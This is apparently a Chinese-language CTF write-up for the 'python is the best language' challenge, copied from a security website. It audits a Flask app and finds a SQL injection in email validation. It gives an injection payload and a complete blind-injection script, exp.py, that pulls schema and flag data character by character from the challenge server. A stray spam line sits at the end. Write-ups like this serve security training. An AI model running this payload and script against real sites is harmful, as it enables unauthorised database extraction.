<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    python is the best language

    http://39.107.32.29:20000
    
    http://117.50.16.51:20000
    
    下載地址
    備用下載地址(密碼:rtou)
    
    I'm learning the flask recently,and I think python is the best language in the world!don't you think so?

    源碼下載下來后,由于是基于flask框架,因此先看了看路由文件routes.py,大概如下:

    @app.before_request
    def before_request():
    
    @app.teardown_request
    def shutdown_session(exception=None):
    
    @app.route('/', methods=\['GET', 'POST'\])
    @app.route('/index', methods=\['GET', 'POST'\])
    @login_required
    def index():
    
    @app.route('/explore')
    @login_required
    def explore():
    
    @app.route('/logout')
    def logout():
    
    @app.route('/register', methods=\['GET', 'POST'\])
    def register():
    
    @app.route('/user/<username>')
    @login_required
    def user(username):
    
    @app.route('/edit_profile', methods=\['GET', 'POST'\])
    @login_required
    def edit_profile():
    
    @app.route('/follow/<username>')
    @login_required
    def follow(username):
    
    @app.route('/unfollow/<username>')
    @login_required
    def unfollow(username):

    這些功能大部分是基于登陸的,因此從注冊和登陸相關的代碼入手。

    @app.route('/register', methods=\['GET', 'POST'\])
    def register():
        if current_user.is_authenticated:
            return redirect(url_for('index'))
        form = RegistrationForm()
        if form.validate\_on\_submit():
            res = mysql.Add("user", \["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
                                     "'%s'" % generate\_password\_hash(form.password.data), "''", "'%s'" % now()\])
            if res == 1:
                flash('Congratulations, you are now a registered user!')
                return redirect(url_for('login'))
        return render_template('register.html', title='Register', form=form)

    跟進RegistrationForm,定義在 forms.py的第20行:

    class RegistrationForm(FlaskForm):
        username = StringField('Username', validators=\[DataRequired()\])
        email = StringField('Email', validators=\[DataRequired(), Email()\])
        password = PasswordField('Password', validators=\[DataRequired()\])
        password2 = PasswordField(
            'Repeat Password', validators=\[DataRequired(), EqualTo('password')\])
        submit = SubmitField('Register')
    
        def validate_username(self, username):
            if re.match("^\[a-zA-Z0-9_\]+$", username.data) == None:
                raise ValidationError('username has invalid charactor!')
            user = mysql.One("user", {"username": "'%s'" % username.data}, \["id"\])
            if user != 0:
                raise ValidationError('Please use a different username.')
    
        def validate_email(self, email):
            user = mysql.One("user", {"email":  "'%s'" % email.data}, \["id"\])
            if user != 0:
                raise ValidationError('Please use a different email address.')

    在這里可以很明顯的看到兩個驗證函數有差別,validate_username在進行mysql.One前進行了正則匹配的過濾和審核,而validate_email僅僅通過validators=[DataRequired(), Email()]來匹配。

    Email定義在wtforms.validators中,相關源碼如下:

    class Email(Regexp):
        """
     Validates an email address. Note that this uses a very primitive regular
     expression and should only be used in instances where you later verify by
     other means, such as email activation or lookups.
     :param message:
     Error message to raise in case of a validation error.
     """
        def \_\_init\_\_(self, message=None):
            self.validate_hostname = HostnameValidation(
                require_tld=True,
            )
            super(Email, self).\_\_init\_\_(r'^.+@(\[^.@\]\[^@\]+)$', re.IGNORECASE, message)
        def \_\_call\_\_(self, form, field):
            message = self.message
            if message is None:
                message = field.gettext('Invalid email address.')
            match = super(Email, self).\_\_call\_\_(form, field, message)
            if not self.validate_hostname(match.group(1)):
                raise ValidationError(message)

    其正則規則為^.+@([^.@][^@]+)$,也就是說對email而言,即使提交如'"#a@q.com包含單引號,雙引號,注釋符等敏感字符的形式也是能通過的。

    回到validate_email驗證函數中:

    def validate_email(self, email):
        user = mysql.One("user", {"email":  "'%s'" % email.data}, \["id"\])
        if user != 0:
            raise ValidationError('Please use a different email address.')

    跟入mysql.One,定義在others.py:

    \# mysql.One("user", {"email":  "'%s'" % email.data}, \["id"\])
    def One(self, tablename, where={}, feildname=\["*"\], order="", where_symbols="=", l="and"):
        \# self.Sel("user", {"email":  "'%s'" % email.data}, \["id"\], "", "=", l)
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchone()
            if res == None:
                return 0
            return res
        except:
            return -1

    跟入self.Sel:

    \# self.Sel("user", {"email":  "'%s'" % email.data}, \["id"\], "", "=", l)
    def Sel(self, tablename, where={}, feildname=\["*"\], order="", where_symbols="=", l="and"):
        sql = "select "
        sql += "".join(i + "," for i in feildname)\[:-1\] + " "
        sql += "from " + tablename + " "
        if where != {}:
            sql += "where " + "".join(i + " " + where_symbols + " " +
                                        str(where\[i\]) + " " + l + " " for i in where)\[:-4\]
        if order != "":
            sql += "order by " + "".join(i + "," for i in order)\[:-1\]
        return sql

    最后拼接出來的sql語句如下:

    select id from user where email = 'your input email'

    結合前面所說的對輸入郵箱email形式的驗證,這里存在sql注入漏洞。我們設置郵箱為test'/**/or/**/1=1#@test.com,則拼接后的sql語句為:

    select id from user where email = 'test'/**/or/**/1=1#@test.com'

    可以看到成功注入。由于此處不能回顯數據,因此采用盲注。回到validate_username

    def validate_username(self, username):
        if re.match("^\[a-zA-Z0-9_\]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')
        user = mysql.One("user", {"username": "'%s'" % username.data}, \["id"\])
        if user != 0:
            raise ValidationError('Please use a different username.')

    當查詢為真時也即user != 0會出現信息Please use a different username.,結合這點構造出最后的exp.py:

    import requests
    from bs4 import BeautifulSoup
    
    url = "http://39.107.32.29:20000/register"
    
    r = requests.get(url)
    soup = BeautifulSoup(r.text,"html5lib")
    token = soup.find_all(id='csrf_token')\[0\].get("value")
    
    notice = "Please use a different email address."
    result = ""
    
    database = "(SELECT/**/GROUP\_CONCAT(schema\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
    tables = "(SELECT/**/GROUP\_CONCAT(table\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION\_SCHEMA.TABLES/**/WHERE/**/TABLE\_SCHEMA=DATABASE())"
    columns = "(SELECT/**/GROUP\_CONCAT(column\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION\_SCHEMA.COLUMNS/**/WHERE/**/TABLE\_NAME=0x666c616161616167)"
    data = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)"
    
    for i in range(1,100):
        for j in range(32,127):
            payload = "test'/**/or/**/ascii(substr("+  data +",%d,1))=%d#/**/@chybeta.com" % (i,j)
            print payload
            post_data = {
                'csrf_token': token,
                'username': 'a',
                'email':payload,
                'password':'a',
                'password2':'a',
                'submit':'Register'
            }
            r = requests.post(url,data=post_data)
            soup = BeautifulSoup(r.text,"html5lib")
            token = soup.find_all(id='csrf_token')\[0\].get("value")
            if notice in r.text:
                result += chr(j)
                print result
                break

    由于在注冊部分有csrf_token,因此在每次submit時要記得帶上,同時在每次返回的頁面中取得下一次的csrf_token。

    最后的flag:QWB{us1ng_val1dator_caut1ous}

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类